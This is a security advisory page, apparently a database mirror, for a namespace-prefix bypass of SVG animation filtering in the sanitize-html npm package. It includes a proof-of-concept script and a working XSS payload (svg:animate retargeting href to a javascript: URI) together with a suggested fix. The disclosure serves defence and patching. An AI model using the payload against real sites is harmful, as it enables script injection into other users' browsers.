GHSA-374F-7CHJ-9948

Vulnerability from github – Published: 2026-10-20 18:21 – Updated: 2026-10-20 18:21
VLAI
Summary
ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)
Details

Summary

sanitize-html 2.17.7 introduced animatesUrlAttribute() to block SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when their attributeName targets a URL sink like href. However, this check is bypassed when the animation element uses a namespace prefix (e.g., svg:animate instead of animate).

Root Cause

The animatesUrlAttribute function (index.js, line ~832) checks svgAnimationTags.indexOf(name.toLowerCase()), where svgAnimationTags contains bare local names: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 passes namespace-prefixed tag names verbatim, so svg:animate does not match animate in the array, causing the function to return false and skip the SMIL XSS protection.

Ironically, the function already handles namespace prefixes correctly for the attributeName target value (line ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — but this same stripping was not applied to the tag name itself.

Proof of Concept

const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS

All 5 SMIL animation elements are bypassable with any namespace prefix (svg:, xlink:, xml:, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.

Impact

Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses allowedTags: false (common in rich-text editors that want to preserve SVG), an attacker can inject <svg:animate attributeName="href" values="#safe;javascript:..." .../> to override the href attribute of a parent <a> element after the page loads, causing the link to execute JavaScript when clicked.

Suggested Fix

Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:

// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {

Affected Versions

sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sanitize-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.17.7"
            },
            {
              "fixed": "2.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T18:21:19Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nsanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).\n\n## Root Cause\n\nThe `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `[\"animate\", \"animatecolor\", \"animatemotion\", \"animatetransform\", \"set\"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.\n\nIronically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(\":\") + 1)` \u2014 but this same stripping was not applied to the tag name itself.\n\n## Proof of Concept\n\n```javascript\nconst sanitizeHtml = require(\"sanitize-html\");\n\nconst config = {\n  allowedTags: false,\n  allowedAttributes: false,\n  allowedSchemes: [\"http\", \"https\"]\n};\n\n// Standard animate \u2014 BLOCKED by 2.17.7 fix\nconst blocked = sanitizeHtml(\n  `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003canimate attributeName=\"href\" values=\"#safe;javascript:alert(1)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n  config\n);\nconsole.log(\"Standard animate:\", blocked.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BLOCKED\n\n// Namespace-prefixed animate \u2014 BYPASSES the fix\nconst bypassed = sanitizeHtml(\n  `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:alert(document.domain)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n  config\n);\nconsole.log(\"svg:animate:\", bypassed.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BYPASS\n```\n\nAll 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.\n\n## Impact\n\nCross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:...\" .../\u003e` to override the `href` attribute of a parent `\u003ca\u003e` element after the page loads, causing the link to execute JavaScript when clicked.\n\n## Suggested Fix\n\nStrip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:\n\n```javascript\n// Before (vulnerable):\nif (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {\n\n// After (fixed):\nconst localTagName = name.toLowerCase().slice(name.lastIndexOf(\":\") + 1);\nif (svgAnimationTags.indexOf(localTagName) === -1) {\n```\n\n## Affected Versions\n\nsanitize-html \u003e= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.\n\n## Credit\n\nKai Aizen (SnailSploit) \u2014 Adversarial AI \u0026 Security Research",
  "id": "GHSA-374f-7chj-9948",
  "modified": "2026-10-20T18:21:19Z",
  "published": "2026-10-20T18:21:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.